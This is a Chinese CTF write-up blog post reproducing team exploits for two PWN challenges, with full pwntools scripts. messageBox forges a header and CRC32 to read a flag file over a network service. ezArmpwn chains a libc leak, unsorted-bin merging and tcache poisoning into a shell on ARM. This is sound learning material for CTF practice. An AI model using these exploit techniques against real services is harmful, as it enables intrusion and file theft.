由于一些神奇的原因,菜鸡如我居然成功加入了ChaMd5安全团队
看师傅们的exp复现一波PWN题目
babyboa
环境搭建失败,,搁置
messageBox
例行检查
32位小端序,只开了NX保护
ida打开
函数原型
int pthread_create(pthread_t *tidp, const pthread_attr_t *attr, ( void *)(*start_rtn)( void *), void *arg);
若线程创建成功,则返回0。若线程创建失败,则返回出错编号
返回成功时,由tidp指向的内存单元被设置为新创建线程的线程ID
新创建的线程从start_rtn函数的地址开始运行,arg是指针参数,如果需要向start_rtn函数传递的参数不止一个,那么需要把这些参数放到一个结构中,然后把这个结构的地址作为arg的参数传入
来自https://blog.csdn.net/zhou1021jian/article/details/71514738
函数原型
int pthread_join(pthread_t thread, void **retval);
以阻塞的方式等待thread指定的线程结束。当函数返回时,被等待线程的资源被收回。如果线程已经结束,那么该函数会立即返回
retval中存储被等待线程的返回值,0代表成功,失败,返回的则是错误号
来自https://blog.csdn.net/qq_37858386/article/details/78185064
所以跟进init_socket函数看看
函数原型
int socket(int domain, int type, int protocol);
建立一个协议族为domain、协议类型为type、协议编号为protocol的套接字文件描述符。如果函数调用成功,会返回一个标识这个套接字的文件描述符,若失败,返回-1
函数原型
int bind ( int sockfd, struct sockaddr * addr, socklen_t addrlen );
返回: 0 ──成功, - 1 ──失败
在进行网络通信的时候,必须把一个套接字与一个地址相关联,这个过程就是地址绑定的过程
函数原型
int listen(int sockfd, int backlog);
返回:0──成功, -1──失败
设置sockfd所标识的套接字为被动等待用户来连接
函数原型
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
从连接请求队列中获得连接信息,创建新的套接字,并返回该套接字的文件描述符,新创建的套接字用于服务器与客户机的通信,而原来的套接字仍然处于监听状态
若失败,则返回-1
函数原型
ssize_t recv(int sockfd, void *buf, size_t len, int flags);
从sockfd所标识的套接字中接收len长度的数据,保存在buf中
成功返回发送的字节数,失败返回-1
所以就是监听6780端口,用handle_message函数处理接收到的数据
在申请了0x1000E大小的堆块dest用于存放消息后的主要代码如下
strcpy(dest, s);
v9 = ((unsigned __int8)s[6] << 8) + (unsigned __int8)s[7];
if ( v9 <= 0x1000 )
{
v8 = (char *)calloc(v9 + 1, 1u);
if ( v8 )
{
strcpy(v8, dest + 14);
memcpy(&s1, dest, 6u);
if ( !strcmp(&s1, "H4bL1b") )
{
v7 = crc32(v8, v9);
v6 = ((unsigned __int8)s[10] << 24)
+ ((unsigned __int8)s[11] << 16)
+ ((unsigned __int8)s[12] << 8)
+ (unsigned __int8)s[13];
if ( v6 == v7 )
{
v5 = ((unsigned __int8)s[8] << 8) + (unsigned __int8)s[9];
send_loop(v5, v8);
v1 = 1;
}
else
{
makeup_error_response(49153, "Message crc error!");
free(v8);
free(dest);
v1 = 0;
}
}
else
{
makeup_error_response(49152, "Message header error!");
free(v8);
free(dest);
v1 = 0;
}
}
else
{
makeup_error_response(49150, "Malloc failed!");
v1 = 0;
}
}
else
{
makeup_error_response(49151, "Message body too long!");
free(dest);
v1 = 0;
}
需要注意的是,这里多处使用strcpy函数来复制消息,如果我们发送的消息里有\x00
字节,则\x00
后面的消息不会被复制
先判断 s[6]、s[7]处组成宽字节代表的整数 是否大于0x1000,从下面的出错信息可以猜测这里应该是消息体的长度,然后验证接收的数据开始6个字节是不是”H4bL1b”,再进行crc32的验证,通过验证则进入send_loop函数,参数为消息体和 s[8]、s[9]组成的宽字节代表的整数
有两个分支,show函数用于发送一些字符串,重点操作在getAction函数中
这里有三个功能,readFile功能会执行dump_apmib_conf函数
也就是对输入的路径过滤后读取路径中的文件
过滤的函数compare_filename
然后用b64encode函数进行base64编码,用make_send_message发送
也就是说如果可以通过crc32的检查的话,就可以直接读取flag
先用0xffffffff
填充crc32的校验码,在gdb调试的时候可以看到crc32函数的返回值
gdb调试多进程:
查看当前所有线程
i threads
切换跟踪线程
thread N
(N为gdb中的线程编号)
exp:
from pwn import *
import sys
import base64
context.log_level='debug'
p = remote("0.0.0.0",6780)
header = b"H4bL1b"
l = b'\x01\x01'
op = b'\x01\x02'
crc32 = 0x5f6a802d #0xffffffff #get it in debug
crc = b'\x5f\x6a\x80\x2d'
pd = header + l + op + crc + b"readFile:/workspace/flag"
p.send(pd)
s = p.recv()
print(base64.decodestring(s))
p.interactive()
ezArmpwn
复现的时候发现自己对32位的ptmalloc堆内存管理很不熟悉,先复习一下32位的ptmalloc堆内存管理
- 地址8字节对齐
- fastbin默认的最大值是0x40
题目说明
例行检查
32位小端序,只开了NX保护
ida打开
init初始化缓冲区,进入register函数
在输入username的时候没有限制长度,输入passwd时候限制0x28个字节
play函数提供add和delete功能
add可以申请0x70一下的chunk,size和address都保存在bss段
delete只会清空前面的size
info函数
打印username和password
modify函数
可以往passwd地址写0x48字节
漏洞利用
在modify函数中的一处可以覆盖掉strcpy函数写入的\x00
,然后可以用info泄露栈上残留的libc地址
由于在libc-2.30,只有uaf而不能修改key,不能直接用tcache attack
团队师傅使用的方法是让两个chunk合并后放入unsortedbin,申请的时候就可以覆盖到uaf残留的指针,从而修改key,将这个uaf残留的指针放到tcache后故技重施修改fd实现tcache attack
贴一下师傅的exp:
from pwn import *
context.log_level="debug"
def info():
p.sendlineafter("> ","2")
def play():
p.sendlineafter("> ","1")
def add(index,size,note):
play()
p.sendlineafter("> ","1")
p.sendafter(": ",str(index))
p.sendlineafter(": ",str(size))
p.sendafter(": ",note)
def delete(index):
play()
p.sendlineafter("> ","2")
p.sendlineafter(": ",str(index))
#p=process(["qemu-arm-static","-g","1237","-L","../libs","./pwn3"])
p=process(["qemu-arm-static","-L","../libs","./pwn3"])
#p = remote("20.20.11.14", 9999)
un="aaaaa"
pd1="bbbbb"
pd2="bbbbb"
p.sendlineafter(":",un)
p.sendlineafter(":",pd1)
p.sendlineafter(":",pd2)
p.sendline("")
p.sendlineafter("> ","3")
p.sendlineafter(":","a"*0x20)
p.sendline("")
info()
p.recvuntil(": ")
libc=u32(p.recv(4))+0xff69cba0-0x044ba0-0xff68a248
for i in range(9):
add(i,0x40,"aaaa\n")
add(15,6,"a\n") #0x10
delete(15) #tcache[0x10]=15
for i in range(9):
delete(8-i) #0+1->unsorted bin(0x90)
add(9,0x70,b"a"*0x40+p32(0)+p32(0x11)+p32(0)*3+b"\n")
delete(1) #tcache[0x10]=1->15
delete(9) #tcache[0x70] = 9
add(10,0x70,b"a"*0x40+p32(0)+p32(0x11)+p32(libc+0x1479cc)+b"\n")
add(11,8,"/bin/sh\x00")
add(12,8,p32(libc+0x03a028)+b"\n")
delete(11)
p.interactive()